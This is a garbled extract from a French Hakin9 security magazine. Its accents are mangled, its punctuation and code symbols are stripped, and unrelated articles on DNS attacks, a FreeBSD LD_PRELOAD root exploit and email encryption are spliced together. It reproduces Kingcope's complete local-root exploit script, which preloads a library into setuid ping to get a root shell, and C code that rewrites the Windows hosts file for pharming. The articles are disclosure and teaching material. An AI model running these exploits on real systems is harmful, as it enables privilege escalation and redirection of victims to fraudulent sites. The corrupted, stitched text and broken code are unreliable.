Ces vulneacuterabiliteacutes permettent de faire du phishing (hammeccedilonnage faire croire agrave tort agrave la victime quelle est sur un site fiable) mass-infection via des 0-days etc

Nous preacutesenterons dans un premier temps les bases du protocole DNS son fonctionnement

Puis nous nous inteacuteresserons aux attaques possibles sur le protocole DNS avant deacutevaluer les services et techniques de preacutevention

Le protocole DNSUn DNS Domain Name Server permet dassigner un nom de domaine agrave une adresse IP

En raison du nombre exponentiel de machines preacutesentes sur la toile il est difficile de se souvenir de toutes les adresses IP correspondant agrave chacune des machines Les noms de domaines ont eacuteteacute mis en place et permettent de pointer sur une machine speacutecifique

Ces meacutecanisme et protocole sont agrave la base de linter-net Sans cela il nexisterait pas

Le protocole DNS est un protocole ayant une certaine hieacuterarchie

A la base il y a la racine (root) ougrave commence toutes les branches

Les premiegraveres branches sont les domaines de haut niveau agrave savoir com net org

De chacun des noeuds se deacutegagent de nouvelles branches qui correspondent agrave de nouveaux eacuteleacutements

Si nous prenons le cas de Hakin9org une branche sortira de org et aura pour nom Hakin9 car le do-maine de haut niveau org a autoriteacute sur hakin9org

Regardons une image pour mieux comprendre(cf Figure 2)

Prenons le cas de hakin9 ladresse IP 79125436 est assigneacutee au nom de domaine hakin9org

Ce meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull reacutecupeacuterer ladresse IP auquel a eacuteteacute assigneacute un nom de domaine

bull Reacutecupeacuterer le nom de domaine agrave partir dune adres-se IP speacutecifique (Reverse DNS)

De nombreux enregistrements sont obtenus agrave partir dune requecircte DNS que nous allons preacutesenter dans cet article

bull A record lenregistrement primaire qui fait corres-pondre un nom de domaine agrave une adresse IP ex hakin9org gtgt 79125436

bull MX record celui-ci deacutefinit les diffeacuterents serveurs de mails pour un domaine en particulier

bull PTR record Il associe une adresse IP agrave un nom de domaine speacutecifique Cest ce dernier qui avait

Les attaques DNS

Bref reacutesumeacute cet article permettra de sinteacuteresser aux diffeacuterentes attaques exploitables sur le protocole DNS dont deux principales techniques fondeacutees sur le DNS Spoofing agrave savoir le DNS ID Spoofing et le DNS Cache Poisoning Nous nous inteacuteresserons ensuite au DNS Pharming qui est un deacuteriveacute du Phishing

Cet article explique bull le principe des attaques possibles sur le protocole DNS Dans

un second temps nous nous inteacuteresserons aux moyens mis en place pour eacuteviter les risques et preacutevenir les utilisateurs

Ce quil faut savoir bull certaines notions sur le protocole DNS et le reacuteseau en regravegle

geacuteneacuterale mais aussi sur le Web en geacuteneacuteral et en C

Paul Amar

Les attaques DNS

hakin9orgfr 41

Le DNS ID SpoofingPrenons le cas de figure suivant

Une machine A souhaite communiquer avec une ma-chine B La machine A a besoin de ladresse IP de B pour commencer la communication Or si elle ne la connaicirct pas elle utilisera le protocole DNS pour lobtenir

La machine A eacutemettra vers un serveur DNS une re-quecircte demandant ladresse IP de la machine B

Pour identifier cette requecircte parmi toutes celles que le serveur DNS reccediloit un numeacutero didentification (champ fourni dans len-tecircte que nous avons vu plus haut) lui est assigneacute

Le serveur DNS apregraves avoir reacutealiseacute le travail de-mandeacute renvoie la reacuteponse avec le mecircme numeacutero didentification

Le problegraveme est quun pirate pourrait usurper le travail du serveur DNS en faisant rediriger la victime vers une adresse IP preacutealablement choisie

De nombreuses meacutethodes permettent agrave reacutecupeacuterer ce fameux numeacutero didentification comme

bull eacutecoute du reacuteseaubull utilisation dune faille dans un des systegravemes dex-

ploitationbull utilisation dune faille dun serveur DNS

La seule condition est que le pirate renvoie la reacuteponse avant le serveur

Agrave cette fin il dispose de nombreuses pratiques comme faire un DoS sur le serveur DNS cible pour eacuteviter quil reacuteponde Cela lui laisse ainsi tout le temps

eacuteteacute peacutesenteacute plus haut avec le Reverse DNS dont le meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull Etc

Le port utiliseacute pour lenvoi de donneacutees en UDPTCP est le 53

Les principaux services utiliseacutes sont ceux qui eacutechan-gement des informations avec les enregistrements de ressources ou autrement dits les Ressource records (RR)

De nombreuses informations sont contenues dans len-tecircte correspondant aux RR (Ressource Records) comme

bull un numeacutero didentification est neacutecessaire pour dis-tinguer toutes les requecirctes DNS que le serveur re-ccediloit Cet identifiant est ensuite reacute-utiliseacute pour le ren-voi de la reacuteponse

Maintenant que nous avons vu certaines speacuteficiciteacutes du protocole DNS nous allons nous inteacuteresser aux dif-feacuterentes attaques possibles sur ce protocole

Le DNS SpoofingDeux principaux types dattaque reacutealisables relegravevent tous les deux du terme DNS Spoofing

Nous allons voir deux types dattaques le DNS ID Spoofing et le DNS Cache Poisoning

Parallegravelement nous allons traiter du pheacutenomegravene DNS Pharming qui relegraveve dune attaque DNS Cache Poisonning

Figure 1 Meacutecanismes DNS

Requecircte DNS pour le serveur website com

Jean Renvoie des informations concernant websitecom avec son IP ex 1222101

Jean se connecte agrave websitecom agrave partir de son adresse IP

Meacutecanisme reacutealiseacute par le service de DNS pour les diffeacuterentes informations

Websitecom

Serveur DNS

6201042

AttAque

de forger un paquet speacutecifique et ainsi lenvoyer agrave la victime

Lors de la reacuteception la victime pensera que le serveur DNS leacutegitime lui a renvoyeacute la reacuteponse et sera redirigeacutee vers un site frauduleux

Cette utilisation peut avoir des effets deacutevastateurs comme renvoyer vers un site qui propage un virus ren-voie sur une page de phishing hellip

Le DNS Cache PoisoningDe base un serveur DNS na des informations que pour les machines du domaine sur lequel il a autoriteacute Autre-ment dit il na pas stockeacute les informations relatives agrave dautres domaines

Si une machine A souhaite communiquer avec une machine B dun autre domaine le serveur DNS qui a autoriteacute sur la machine A contacte le serveur DNS qui a autoriteacute sur la machine B etc

Pour eacuteviter de saturer le reacuteseau il est preacutefeacuterable de garder en meacutemoire ces informations

Degraves lors si une autre machine demande agrave contacter la machine B elle pourra reacute-utiliser les informations contenues dans le cache du serveur DNS

Lattaque de DNS Cache Poisoning consiste agrave faire en sorte de corrompre ce fameux cache en inseacuterant des donneacutees voulues par le pirate

Pour que cela fonctionne il faut que le pirate ait le controcircle dun nom de domaine prenons fakecom ainsi

que le serveur DNS correspondant ayant autoriteacute sur celui-ci nsfakecom

Le pirate envoie ainsi une requecircte vers le serveur DNS cible (celui utiliseacute par la victime)

Il fait en sorte de demander la reacutesolution du nom dune machine affilieacutee au domaine fakecom

Le serveur DNS cible envoie les informations au serveur DNS du pirate (nsfakecom) qui quant agrave lui envoie les informations correspondant agrave sa demande ainsi que dautres informations compleacutementaires Ces derniegraveres auront juste pour effet de corrompre le cache du serveur DNS cible

Nous pourrions imaginer un sceacutenario ougrave le pirate cherche agrave rediriger des utilisateurs dune banque vers un site falsifieacute pour reacutecupeacuterer leurs informations person-nelles

Le laquo Pharming raquoLe pharming est une technique utiliseacutee par les pirates informatiques exploitant des vulneacuterabiliteacutes DNS

Le but est le mecircme que les attaques preacuteceacutedentes deacutetourner sa victime sur un site frauduleux en le faisant passer pour le veacuteritable

Deux types de laquo pharming raquo peuvent ecirctre mis en place

bull Le pharming local consiste agrave modifier le fichier hosts de la machine Ce fichier permet de rajouter des en-

Figure 2 hieacuterarchie du protocole DNS

Root Servers

orgcomfr

Hakin9

Les attaques DNS

hakin9orgfr 43

treacutees nom de domaine et adresse IP et il est lun des acteurs majeurs dans la navigation internet

bull Rajouter la ligne laquo 20985229104 hakin9org raquo redirigera tous les utilisateurs vers Google sils sou-haitent aller sur le site hakin9org

bull Le fait de modifier en local le fichier hosts nagit que sur les personnes utilisant le poste affecteacute Ce type de pharming ne peut pas se reacutepercuter sur dautres ordinateurs (cf Listing 1)

Lautre type possible est de compromettre le serveur DNS dont deacutepend la victime

bull Le nom est diffeacuterent mais correspond au DNS Cache Poisoning Lattaque consiste agrave alteacuterer son contenu en inseacuterant de fausses informations Degraves lors si un utilisateur recherche un certain nom de domaine compromis il se retrouvera sur un site fal-sifieacute

Figure 3 DNS ID Spoofing

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom

Le pirate eacutecoute le traffic et envoie avant le

serveur une reacuteponse DNSavec le mecircme iD

Victime

Le serveur reacutepons maismalheureusement trop tard

Figure 4 Cache Poising

Victime

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom Le pirate envoie de nombreuses donneacutees pour empoisonnser le cache DNSdu serveur cible infectant

ainsi toutes les requecirctes despcs qui utiliseront ce serveur

DNS

Pirate

Serveur CacheDNS

Le serveur DNS reacutepond via le cache emposonneacute par le pirate

6201044

AttAque

Le laquo Drive-by-pharming raquo technique en vogue de-puis de nombreuses anneacutees Cette derniegravere consiste agrave amener un internaute agrave exeacutecuter un script (souvent JavaScript) malveillant qui va modifier la configuration de son routeur personnel Il faut savoir que la plupart du temps le routeur personnel nest accessible quen LAN (agrave savoir seulement les personnes faisant par-tie du reacuteseau local accegravedent agrave linterface du routeur) et non en WAN (accessible agrave partir de la toile-mecircme cela signifie quun attaquant peut prendre le controcircle dun routeur situeacute aux Etats-Unis depuis la Russie) Le pirate utilisera linternaute comme intermeacutediaire dans son attaque pour faire en sorte quil modifie lui-mecircme les paramegravetres de sa box Ce type dattaque se reacutealise gracircce agrave des vulneacuterabiliteacutes de type CSRF (Cross Site Request Forgeries) qui ne sont autres que des formu-laires preacute-remplis exeacutecuteacutes lors du chargement de la page malicieuse Dapregraves une eacutetude de Symantec sur ce domaine 95 des utilisateurs agrave la laquo maison raquo auto-risent lexeacutecution du JavaScript dans leurs fureteurs in-ternet

Degraves lors il est possible de maniegravere transparente de changer certains paramegravetres afin de rediriger ses victimes vers des sites frauduleux

Solutions contre ces abusPour eacuteviter les problegravemes de DNS Spoofing plusieurs deacutemarches peuvent ecirctre reacutealiseacutees comme

bull Mettre agrave jour les serveurs DNS (cela permet par exemple deacuteviter des failles permettant le controcircle de ces serveurs DNS et ainsi preacutedire les numeacuteros de seacutequence correspondants)

bull Limiter le cache du serveur DNS et faire en sorte quil nenregistre pas dans sa base de donneacutees les enregistrements additionnels

bull Utiliser de la cryptographie comme SSL cela rend la vie plus difficile au pirate

bull Dans linfrastructure dune entreprise une alterna-tive serait lutilisation de deux serveurs DNS dis-tincts Lun serait accessible depuis la toile et reacute-pondrait aux demandes quil recevrait Dun autre cocircteacute un serveur DNS Interne offrirait ses servi-ces aux ordinateurs internes Les transactions quaurait ce dernier serveur DNS seraient par exemple avec les serveurs laquo racines raquo (root ser-vers) qui repreacutesentent la base de linternet Degraves lors nous pourrions plus ou moins les consideacuterer de laquo confiance raquo

Il existe en tout 13 serveurs racine du DNS situeacutes un peu partout dans le monde

Depuis peu ces 13 serveurs sont tous passeacutes agrave DNS-SEC (Domain Name System Security Extensions)

Ce protocole standardiseacute permet avant tout

bull la seacutecurisation des transactions DNS

Figure 5 changement de certains paramegravetres pour rediriger la victime vers des sites frauduleux

Victime

Site malicieurxcom

La victime va pour acceacuteder agrave un site

malicieux

Le site malicieux renvoie du code qui va faire des changements

sur sa box

Routeur de la victime accessible quagrave partir du LAN

Les attaques DNS

hakin9orgfr 45

bull la seacutecurisation des informations contenues dans les messages DNS

bull Stockage et distribution des cleacutes neacutecessaires au bon fonctionnement

Avant tout DNSSEC sappuie sur des signatures cryp-tographiques qui permettent de laquo signer raquo les inscrip-tions DNS actuelles

Cela permet de deacutetecter deacuteventuelles fraudes et ainsi eacuteviter agrave une victime decirctre pieacutegeacutee Cela ressemble agrave un gage de qualiteacute permettant de garantir que toutes les in-formations reccedilues sont effectivement celles demaneacutees

Le meacutecanisme utiliseacute est une geacuteneacuteration dune paire de codes

bull une cleacute priveacutee la cleacute priveacutee ne doit en aucun cas ecirctre divulgueacutee et ecirctre gardeacutee en seacutecuriteacute pour eacutevi-ter de casser la laquo chaine de confiance raquo mise en place Cette derniegravere reste chez le proprieacutetaire

bull une cleacute publique la cleacute publique est disponible pour tout le monde et est preacutesente dans chaque laquo DNSKEY record raquo Un laquo DNSKEY record raquo per-met de veacuterifier quil ne sagit pas dun site contrefait en veacuterifiant les signatures DNSSEC

bull Les donneacutees contenues dans chaque enregistre-ment laquo DNSKEY raquo sont les suivantes

bull Drapeaux (laquo Flags raquo) laquo Zone key raquo pour toutes les cleacutes DNSSEC et laquo Secure Entry Point raquo pour les cleacutes signant dautres cleacutes ou des cleacutes dites laquo simples raquo

bull Protocole la valeur est fixeacutee agrave 3 pour assurer la compatibiliteacute avec les versions preacuteceacutedentes

bull Algorithme lalgorithme utiliseacute par la cleacute publique bull Cleacute publique la cleacute publique en tant que telle

ConclusionGracircce aux diffeacuterentes avanceacutees technologiques dans ce domaine les risques sont plus ou moins diminueacutes Heureusement car ce protocole est lun des plus impor-tants agrave ce jour

Parallegravelement une infrastructure toucheacutee par une attaque au niveau du DNS est terriblement compromise car elle peut avoir de terribles reacutepercutions sur ses usa-gers

Une socieacuteteacute peut ecirctre entiegraverement laquo mise sur le car-reau raquo car sans les services offerts par le protocole DNS son activiteacute risque de cesser

Si cet article vous a inteacuteresseacute nheacutesitez pas agrave lire dautres articles comme par exemple la preacutesentation de Dan Kaminsky sur une faille concernant le laquo snoo-ping raquo du cache DNS de 2008

Listing 1 Code C pour Pharming local

ltcode C pour du Pharming en localgt

include ltstdlibhgt

include ltstdiohgt

int main(void)

FILE pharming = NULL

pharming = fopen(SYSTEMROOTsystem32drivers

etchosts a)

if (pharming = NULL)

fputs(20985229104 hakin9org

pharming)

fclose(pharming)

else

printf(Erreur au niveau de louverture

du fi chier Hosts)

return EXIT_SUCCESS

ltcodegt

Annexes

bull httpfrwikipediaorgwikiDomain_Name_System Article de Wikipeacutedia sur le protocole DNS

bull httpfrwikipediaorgwikiDomain_Name_System_Security_Extensions Article de Wikipeacutedia sur DNSSEC

bull httpwwwauthsecucombrute-force-dnsbrute-force-dnsphp Article qui traite de la brute-force des noms de do-maines

bull httpunixwiznettechtipsiguide-kaminsky-dns-vulnhtml Un guide illustreacute sur la faille DNS de Dan Kaminsky durant leacuteteacute 2008

bull httpwwwsecuriteinfocomattaqueshackingdnsspoofi ngshtml Article inteacuteressant sur le DNS Spoofi ng (incluant les deux attaques preacutesenteacutees dans larticle)

bull httpfrwikipediaorgwikiPharming Article de Wikipeacutedia sur le Pharming

A PROPOS De LAuteuR Lauteur est actuellement eacutetudiant en DUT Informatique lIUT de Fontainebleau Il sinteacuteresse de tregraves pregraves agrave tout ce qui a trait agrave la seacutecuriteacute in-formatique a n de comprendre les problegravemes associeacutes Il aimerait par la suite continuer ses eacutetudes dans une eacutecole dingeacutenieur

6201046

Focus

Le full disclosure (ou le fait de divulguer publique-ment les problegravemes de seacutecuriteacute ou les exploits) est quelque chose de primordial chez les pas-

sionneacutes de seacutecuriteacute informatique Il permet (entre autre) a chacun de pouvoir eacutetudier

les problegravemes deacutecouvert par dautre personne de com-prendre leurs fonctionnement et de seacutecuriser ses pro-pres codes

Lexemple de lexploit eacutetudieacute dans cet article est tregraves formateur sans demander une tregraves forte connaissance du systegraveme ou du C

Fonctionnement de LD_PRELoAD Il existe une variable denvironnement sous UNIX qui sappelle LD_PRELOAD Cette variable permet dinter-caler une librairie pour quelle soit prioritaire agrave celles de lOS Pour exemple nous allons utiliser le listing 1 qui permet simplement dafficher le PID du processus cou-rant

Voici le reacutesultat apregraves compilation

$ gcc listing1c -o listing1

$ listing1

pid 1423

A preacutesent nous allons creacuteer notre propre librairie getpid() qui retournera systeacutematiquement 31337 Le code est disponible au listing2 La compilation est un peu particulier afin de creacuteer une librairie parta-geacutee

$ gcc -fPIC -shared -o listing2so listing2c

A preacutesent nous avons un binaire qui utilise getpid() et une librairie partageacutee getpid() eacutegalement Voici com-ment fonctionne LD_PRELOAD pour utiliser en priori-teacute notre librairie et non pas celle de lOS

$ export LD_PRELOAD=listing2so

$ listing1

pid 31447

Nous voyons que listing1 utilise agrave preacutesent notre pro-pre librairie Cette astuce est tregraves utile pour debugger Il existe une fonction particuliegravere _ init() qui est lanceacute degraves lexeacutecution du main Et qui permet de ne pas cibler une fonction speacutecifique

Il y a toutefois une limitation a cette fonctionnaliteacute il nest pas possible dutiliser LD_PRELOAD sur un bi-naire suid La premiegravere chose que fait FreeBSD lors de lexeacutecution dun binaire suid est de vider cette variable Il fait ccedila par seacutecuriteacute pour eacuteviter dexeacutecuter du code ar-bitraire en temps que root via notre librairie Cest a ce niveau que va agir notre exploit

Analyse de lexploitPour commencer nous pouvons contempler lexploit au listing 3

Nous pouvons voir que cest en faite un script qui com-pile un binaire env et une librairie w00tso10 Nous pou-vons voir assez facilement que LD_PRELOAD est mis

Exploit ndash Local root FreeBsD via LD_PRELoAD

FreeBSD est souvent preacutesenteacute comme un OS agrave la seacutecuriteacute robuste Malgreacute cette reacuteputation un exploit a eacuteteacute divulgueacute fin novembre sur la mailing list Full Disclosure par Kingcope Dans cet article nous eacutetudierons cet exploit et le patch proposeacute par lrsquoeacutequipe de mainteneur FreeBSD apregraves avoir compris LD_PRELOAD

cet article expliquebull Comment fonctionne un exploit utilisant un bug LD_PRELOAD

sous FreeBSD

ce quil faut savoirbull Langage C des notions de systegraveme UNIX sont preacutefeacuterable

Paul Rascagnegraveres

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 47

comment FreeBsD vide la variable LD_PRELoAD Le listing 4 montre le morceau de code qui lance la pur-ge de certaines variables en cas de bit suid

en place juste avant de lancer la commande ping qui dispose dun bit suid Normalement la variable devrait donc ecirctre videacute par lOS Voyons comment FreeBSD vi-de cette variable

Listing 1 Source permettant dafficher le PID du processus en cours

include ltstdiohgt

int main()

printf(pid ungetpid())

return(0)

Listing 2 Librairie getpid() retournant systematiquement 31337

include ltstdiohgt

include ltsystypeshgt

pid_t getpid(void)

return(31337)

Listing 3 Exploit posteacute par Kingcope

binsh

echo FreeBSD local r00t zeroday

echo by Kingcope

echo November 2009

cat gt envc ltlt _EOF

include ltstdiohgt

main()

extern char environ

environ = (char)malloc(8096)

environ[0] = (char)malloc(1024)

environ[1] = (char)malloc(1024)

strcpy(environ[1] LD_PRELOAD=tmpw00t

so10)

execl(sbinping ping 0)

_EOF

gcc envc -o env

cat gt programc ltlt _EOF

include ltunistdhgt

include ltstdiohgt

include ltsystypeshgt

include ltstdlibhgt

void _init()

extern char environ

environ=NULL

system(echo ALEX-ALEXbinsh)

_EOF

gcc -o programo -c programc -fPIC

gcc -shared -Wl-sonamew00tso1 -o w00tso10

programo -nostartfiles

cp w00tso10 tmpw00tso10

env

Listing 4 fonction ou sont purgeacute certaines variables en cas de bit suid

func_ptr_type

_rtld(Elf_Addr sp func_ptr_type exit_proc Obj_

Entry objp)

trust = issetugid()

If the process is tainted then we un-set the

dangerous environment

variables The process will be marked as

tainted until setuid(2)

is called If any child process calls

setuid(2) we do not want any

future processes to honor the potentially un-

safe variables

if (trust)

unsetenv(LD_ PRELOAD)

unsetenv(LD_ LIBMAP)

unsetenv(LD_ LIBRARY_PATH)

unsetenv(LD_ LIBMAP_DISABLE)

unsetenv(LD_ DEBUG)

unsetenv(LD_ ELF_HINTS_PATH)

Return the exit procedure and the program entry

point

exit_proc = rtld_exit

objp = obj_main

return (func_ptr_type) obj_main-gtentry

6201048

Focus

Nous pouvons voir la fonction unsetenv() qui comme il est facile de le deviner permet dunset une variable denvironnement passeacutee en argument Cette fonction est retranscrite au listing 5

Cette fonction meacuterite une attention toute particuliegrave-re et une petite explication En premier lieu elle veacuterifie que le nom de la variable nest pas mal formeacutee En-suite deux fonctions __merge_environ() et __build_env() permettent de creacuteer un tableau contenant lenvironne-ment Pour finir elle supprime la variable via la fonction __remove_putenv() Le listing 6 montre le code de la fonc-tion __merge_environ()

Nous voyons que si il manque un laquo = raquo dans lune des variables denvironnement la fonction sort en -1 ce qui a pour incidence de ne jamais lancer la fonc-tion __remove_putenv() car unsetenv() sort laquo brutale-ment raquo Cest ce qui se passe dans notre cas La pre-miegravere variable denvironnement setteacute par lexploit est vide Mais le principal problegraveme est quil ny a pas de controcircle du code de retour de la fonction unsetenv()

Et donc notre binaire sexeacutecute avec la variable LD_PRELOAD Nous pouvons donc exeacutecuter nimporte quelle librairie arbitraire en tant que root via un bi-naire suid

Patch fournie par FreeBsDLe patch est des plus simple il consiste simplement a controcircler le code de retour dunsetenv() et a sortir en erreur en stoppant lexeacutecution du binaire Le listing 7 montre le patch

conclusionNous avons pu voir avec quelle faciliteacute Kingcope agrave reacuteussi agrave exeacutecuter du code en root Il est primordial de toujours veacuterifier les codes de retour des fonctions afin de valider que tout cest correctement passeacute comme nous le souhaitions Il est aussi important de noter que cette vulneacuterabiliteacute existe sous FreeBSD depuis de nombreuses anneacutees et que peut ecirctre certaines personnes ont exploiteacutes cette faille tout ce temps

Listing 5 fonction unsetenv() du fichier srcliblibcstdlibgetenvc

Unset variable with the same name by flagging it as inactive No variable is

ever freed

int

unsetenv(const char name)

int envNdx

size_t nameLen

Check for malformed name

if (name == NULL || (nameLen = __strleneq(name)) == 0)

errno = EINVAL

return (-1)

Initialize environment

if (__merge_environ() == -1 || (envVars == NULL ampamp __build_env() == -1))

return (-1)

Deactivate specified variable

envNdx = envVarsTotal - 1

if (__findenv(name nameLen ampenvNdx true) = NULL)

envVars[envNdx]active = false

if (envVars[envNdx]putenv)

__remove_putenv(envNdx)

__rebuild_environ(envActive - 1)

return (0)

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 49

Sans le full disclosure cette faille naurait peut ecirctre jamais eacuteteacute corrigeacute Il est donc vital dencourager ce type de deacutemarche de la part de tous les passionneacutes de seacutecuriteacute

Listing 6 Fonction __merge_environ()

static int

__merge_environ(void)

char env

char equals

Insert new environ into existing yet deactivated

environment array

origEnviron = environ

if (origEnviron = NULL)

for (env = origEnviron env = NULL env++)

if ((equals = strchr(env =)) == NULL)

__env_warnx(CorruptEnvValueMsg env strlen(env))

errno = EFAULT

return (-1)

if (__setenv(env equals - env equals + 11) == -1)

return (-1)

return (0)

Listing 7 Patch fournie par FreeBSD

if (trust)

- unsetenv(LD_ PRELOAD)

- unsetenv(LD_ LIBMAP)

- unsetenv(LD_ LIBRARY_PATH)

- unsetenv(LD_ LIBMAP_DISABLE)

- unsetenv(LD_ DEBUG)

- unsetenv(LD_ ELF_HINTS_PATH)

+ if (unsetenv(LD_ PRELOAD) ||

unsetenv(LD_ LIBMAP) ||

+ unsetenv(LD_ LIBRARY_PATH) ||

unsetenv(LD_ LIBMAP_DISABLE)

||

+ unsetenv(LD_ DEBUG) ||

unsetenv(LD_ ELF_HINTS_PATH))

+ _rtld_error(environment corrupt

aborting)

+ die()

+

ld_debug = getenv(LD_ DEBUG)

sur Internet

bull httpseclistsorgfulldisclosure2009Nov371 ndash publica-tion de Kingcope

bull httpwwwfreebsdorg ndash site offi ciel de FreeBSDbull httpwwwr00tedcom ndash site de lauteur de cet article

Agrave PRoPos DE LAuTEuRPaul Rascagnegraveres est un consultant informatique speacutecialiseacute en UNIX (Solaris AIX Linux et BSD) et en Seacutecuriteacute depuis plus de 5 ans Il a travailleacute chez des fabricants automobile ainsi que dans des banques franccedilaises et luxembourgeoises Il est eacutega-lement chercheur en seacutecuriteacute a titre priveacute dans ce cadre il ani-me de nombreuses communauteacutes de passionneacute en seacutecuriteacutesur internetPour contacter lauteur httpswwwr00tedcom

Page 29: E-Comerce Lancez Votre Boutique Online Hakin9!06!2010 FR

chiffrement des mails

hakin9orgfr 33

Dans le cas eacutecheacuteant il existe une alternative

gpg ndashkeyserver pgpmitedu ndashsearch-keys [recherche]

Sachant que la recherche seffectue sur le nom ladresse mail et lUID de la cleacute

Maintenant on va pouvoir enfin envoyer des mails chiffreacutes et signeacutes

impleacutementations dans les MuaQuelles sont maintenant les diffeacuterentes impleacutementations de gpg dans les clients de messageries Celle auquel-le on va sinteacuteresser tout particuliegraverement est Enig-mail Enigmail est un plugin pour Thunderbird et a donc lavantage de fonctionner sur Windows Linux et Mac Il en existe cependant un pour Windows GPG4Win qui inclus un gestionnaire de cleacutes un plugin pour Outlook 2003 un logiciel pour le chiffrement de fichiers et gegravere par la mecircme occasion les certificats x509 Sous Linux GPG est installeacute par deacutefaut sur la plupart des distribu-tions et les clients de messageries tel que Kmail ou Evolution gegraverent nativement sans plugin le PGP Pour ce qui est de Mac il existe un portage de GnuPG appeleacute MacGPG un logiciel de gestion des cleacutes appeleacute GPG Keychain et un plugin pour Mail appeleacute GPGMail

Enfin il est inteacuteressant de noter quil existe un plu-gin pour Firefox permettant de faire du chiffrement PGP

dans les webmails Il sappelle FireGPG mais nest mal-heureusement plus supporteacute depuis le 7 Juin 2010 Nous allons donc nous inteacuteresser au plugin Enigmail qui est de loin le plus eacutevolueacute et qui permet une adminis-tration complegravete de GnuPG

Lors du premier lancement de Thunderbird avec Enig-mail lassistant propose de creacuteer un couple de cleacutes si on la possegravede deacutejagrave il suffit dignorer lassistant Deux menus sont importants OpenPGPGestion des Clefs qui permet dimporter une cleacute chercher une cleacute sur un serveur signer une cleacute afficher les proprieacuteteacutes dune cleacute ou encore de modifier son niveau de confiance (voir Fi-gure 3)

Le deuxiegraveme eacuteleacutement important est la configuration quil vaut mieux eacuteviter de bidouiller sans connaicirctre ce-pendant une option est tregraves inteacuteressante agrave activer Cet-te option se trouve dans OpenPGPPreacutefeacuterences onglet Serveur de clefs apregraves avoir cliqueacute sur le mode expert cest loption de teacuteleacutechargement automatique des clefs lors de la reacuteception dun message signeacute dont on ne pos-segravede pas la cleacute publique (voir Figure 4)

La derniegravere eacutetape avant de pouvoir signer des mails est dassocier une cleacute agrave un compte pour cela il faut aller dans les proprieacuteteacutes du compte (account settings) activer OpenPGP pour ce compte et choi-sir la bonne cleacute (ou laisser le choix automatique par ladresse mail)

Figure 4 Activation de loption de teacuteleacutechargement automatique

6201034

Seacutecuriteacute reacuteSeaux

Il est maintenant possible de signer des mails avec PGP et de chiffrer si lon possegravede la cleacute pu-blique de notre destinataire On signe un message en cliquant sur le bouton OpenPGP de la fenecirctre de reacutedaction de message Remarque il est preacutefeacuterable de cocher PGPMIME car ceci active le support du PGPMIME(voir terminologie) De cette maniegravere si le client de messagerie du destinataire ne supporte pas lOpenPGP alors la signature ne viendra pas pa-rasiter le contenu du mail car elle se trouvera dans les en-tecirctes(bien quelle puisse apparaicirctre comme piegravece jointe)

SMiMeSMIME pour secure MIME est une extension du stan-dard MIME pour y inclure la signature numeacuterique encap-suleacutee au format MIME Il est donc plus particuliegraverement conccedilu pour la signature et le chiffrement des mails Les certificats SMIME ou certificats personnels(voir chapi-tre suivant) sont des certificats fondeacutes sur les certifi-cats x509 Le x509 est un format standard de certificat eacutelectronique il introduit certains concepts comme les listes de reacutevocations Comme tout certificat x509 les certificats SMIME sarticulent autour dune autoriteacute de certification ou CA(Certification Authority) qui deacutelivre le

creacuteation dune autoriteacute de certifi cationIl est tregraves simple de creacuteer des certifi cats auto-signeacutes avec OpenSSL le plus simple est dutiliser le script Perl inclus avec OpenSSL pour creacuteer des certifi cats CApl facilementCependant il ne permet pas une confi guration du CA il est donc preacutefeacuterable den recreacuteer un Voici les diff eacuterentes eacutetapes Il faut dabord creacuteer larborescence des dossiers et des fi chiers

On a larborescence de base il faut ensuite copier le opensslcnf dans le dossier pour pouvoir personnaliser notre autoriteacute de certifi -cationcp etcsslopensslcnf monACIl faut cependant modifi er une ligne dans le fi chierdir = demoCA en dir = On peut donc maintenant modifi er le opensslcnf pour modifi er le comportement du CA cest agrave dire la longueur des cleacutes par deacutefaut ajout de la gestion des SAN pour les certifi cats serveurs etcAttention la confi guration du fi chier opensslcnf est un peu deacutelicate et peut neacutecessiter de lexpeacuterience pour comprendre son fonctionnementIl ne reste plus quagrave geacuteneacuterer le certifi cat du CA qui servira agrave signer les autres certifi catsOn geacutenegravere la cleacute priveacuteeopenssl genrsa -aes256 -out monACprivatecakeypem 2048On geacutenegravere le certifi cat agrave partir de la cleacute priveacuteeopenssl req -new -x509 -days 365 -key monACprivatecakeykey -out monACprivatecacertpemLe CA ne sera valide quun an avec cette commandeIl ne reste plus qua creacuteer le certifi cat utilisateuropenssl genrsa -out monACprivatecuser-priveepem 2048On creacutee la CSR qui sera soumise agrave lautoriteacute de certifi cation que lon vient de creacuteer openssl req -new -nodes -key monACprivateuser-priveepem -out monACnewcertscsrpemLe CA doit maintenant signer la CSR pour geacuteneacuterer le certifi cat openssl ca -in monACnewcertscsrpem -out monACcertsuser-publicpem -keyfi le monACprivatecakeypem -cert monAC

privatecacertpem -confi g monACopensslcnfIl est important de preacuteciser le fi chier de confi guration dans lequel sera lu les informations par deacutefaut dureacutee de validiteacute etc Si rien nest preacuteciseacute le fi chier de confi guration utiliseacute est etcsslopensslcnfNote pour affi cher ce que permet le certifi cat il faut faire openssl x509 -purpose -in certifi catpem -nooutPour rendre le certifi cat utilisable il ne reste plus qua le convertir en PKCS 12openssl pkcs12 -export -in monACcertsuser-publicpem -inkey monACprivateuser-priveepem -out certifi catp12Ceci est donc une meacutethode rapide et effi cace de creacuteer des certifi cats auto-signeacutes Il est aussi possible de mettre en place une ar-chitecture beaucoup plus complexe avec cette fois-ci un vrai PKI Il existe un grand nombre de logiciels permettant de mettre en place un PKI avec reacutepondeur OCSP gestion des listes de reacutevocations etc Pour cela il faut se tourner vers EJBCA OpenCA ou enco-re NewPKI

listing 1 Creacuteation dune arborescence pour une autoriteacute de certifi cation

mkdir monAC

mkdir monACcerts

monACnewcerts

monACprivate

echo 01 gt monACserial

touch monACindextxt

chiffrement des mails

hakin9orgfr 35

certificat gegravere les reacutevocations via la parution reacuteguliegravere de listes de reacutevocations et la mise en place dun service de reacutepondeur OCSP

caracteacuteristiques techniquesTout comme PGP SMIME utilise le plus souvent un systegraveme de chiffrement asymeacutetrique RSA Les algo-rithmes de chiffrement symeacutetriques utiliseacutes sont le RC4 et le 3DES

